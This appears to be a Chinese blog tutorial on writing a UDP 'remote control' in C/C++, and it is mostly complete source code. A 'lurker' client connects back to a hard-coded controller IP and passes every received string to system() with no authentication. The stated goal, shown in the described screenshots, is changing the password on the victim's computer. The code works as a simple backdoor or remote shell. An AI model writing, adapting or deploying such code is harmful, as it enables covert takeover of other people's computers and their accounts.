C/C++轻松写基于UDP的远程控制

思路:

打开socket,服务端输入字符串,客户端接受后运行cmd,从而修改潜伏者所在电脑密码

局限性:

如果要进行两个不同的局域网通信就得要一个公有IP进行转发,或者打洞。


解释

1.局域网:每一个路由器(家庭版)划分广播域(思科或华为的设备每一个端口是一个广播域)---这里要说明下,其实家庭版的路由器应该叫交换机,本文用家庭版路由器代替

2.打洞:因为路由器有安全功能,不能让外网的数据访问内网,但如果内网主动与外网建立连接后,外网就可以访问内网

3.UDP:不可靠,会丢包

4.相关协议:NAT和NAPT


我们这个是简单的内网通信,所以不用考虑那么多


下面不再讲解socket具体函数实现,直接上代码


服务器:

SocketUdp.h

#ifndef _SOCKET_UDP_
#define _SOCKET_UDP_

#include 
#include 

#pragma comment(lib,"ws2_32.lib")

class Socket_udp
{
public:
	Socket_udp(int port);
	~Socket_udp();
	void run();
private:
	int m_port;		//端口号
	sockaddr_in serAddr;
	SOCKET serSocket;
	sockaddr_in remoteAddr;
	int nAddrLen;
};

Socket_udp::Socket_udp(int port)
{
	WSADATA wsaData;
	WORD sockVersion = MAKEWORD(2, 2);
	m_port = port;
	if (WSAStartup(sockVersion, &wsaData) != 0)
	{
		printf("Socket_udp打开失败!\n");
		system("pause");
		exit(0);
	}
	serSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
	if (serSocket == INVALID_SOCKET)
	{
		printf("Socket为无用状态!\n");
		system("pause");
		exit(0);
	}
	serAddr.sin_family = AF_INET;
	serAddr.sin_port = htons(m_port);
	serAddr.sin_addr.S_un.S_addr = INADDR_ANY;
	if (bind(serSocket, (sockaddr *)&serAddr, sizeof(serAddr)) == SOCKET_ERROR)
	{
		printf("bind连接失败!\n");
		closesocket(serSocket);
		WSACleanup();
		exit(0);
	}
	nAddrLen = sizeof(remoteAddr);
	printf("服务器已经开启!等待中!\n");
}

void Socket_udp::run()
{
	char buf[1024];
	char sendbuf[1024];
	int n = recvfrom(serSocket, buf, sizeof(buf), 0, (sockaddr *)&remoteAddr, &nAddrLen);
	printf_s("%s:%s\n", inet_ntoa(remoteAddr.sin_addr), buf);
	while (true)
	{
		printf_s("输入命令:");
		gets_s(sendbuf);
		sendto(serSocket, sendbuf, sizeof(sendbuf), 0, (sockaddr*)&remoteAddr, nAddrLen);
	}
	system("pause");
}

Socket_udp::~Socket_udp()
{
	closesocket(serSocket);
	WSACleanup();
}

#endif
mian.cpp

#include "SocketUdp.h"

int main()
{
	Socket_udp socket_udp(9999);
	socket_udp.run();
	return 0;
}


潜伏者

Socket_udp.h

#ifndef _UDP_CLI_
#define  _UDP_CLI_

#include   
#include   
#include 
#pragma comment(lib, "ws2_32.lib") 

class Socket_udp
{
public:
	Socket_udp(char ip[128], int port);
	~Socket_udp();
	void run();
private:
	int m_port;
	char m_ip[128];
	sockaddr_in sin;
	int m_len;
	SOCKET sclient;
};

Socket_udp::Socket_udp(char ip[128], int port)
{
	strcpy_s(m_ip, ip);
	m_port = port;
	WORD socketVersion = MAKEWORD(2, 2);
	WSADATA wsaData;
	if (WSAStartup(socketVersion, &wsaData) != 0)
		exit(0);
	sclient = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
	sin.sin_family = AF_INET;
	sin.sin_port = htons(m_port);
	sin.sin_addr.S_un.S_addr = inet_addr(m_ip);
	m_len = sizeof(sin);
}

void Socket_udp::run()
{
	char sendbuf[1024] = "潜伏者上线";
	char recvbuf[1024];
	sendto(sclient, sendbuf, sizeof(sendbuf), 0, (sockaddr *)&sin, m_len);
	while (1)
	{
		recvfrom(sclient, recvbuf, sizeof(recvbuf), 0, (sockaddr *)&sin, &m_len);
		printf_s("%s\n", recvbuf);
		system(recvbuf);
	}
}
Socket_udp::~Socket_udp()
{
	closesocket(sclient);
	WSACleanup();
}

#endif // !_UDP_CLI_
main.cpp

#include "Socket_udp.h"
int main()
{
	Socket_udp socket_udp("192.168.164.100", 9999);
	socket_udp.run();
	return 0;
}

注意:打包时要设置运行库

C/C++轻松写基于UDP的远程控制_第1张图片


下面是运行结果:

先运行服务器,再运行潜伏者,结果如下

C/C++轻松写基于UDP的远程控制_第2张图片


服务器输入ipconfig后

C/C++轻松写基于UDP的远程控制_第3张图片



服务器修改潜伏者所在电脑的密码

C/C++轻松写基于UDP的远程控制_第4张图片

你可能感兴趣的:(C/C++,TCP/IP,HackerCode)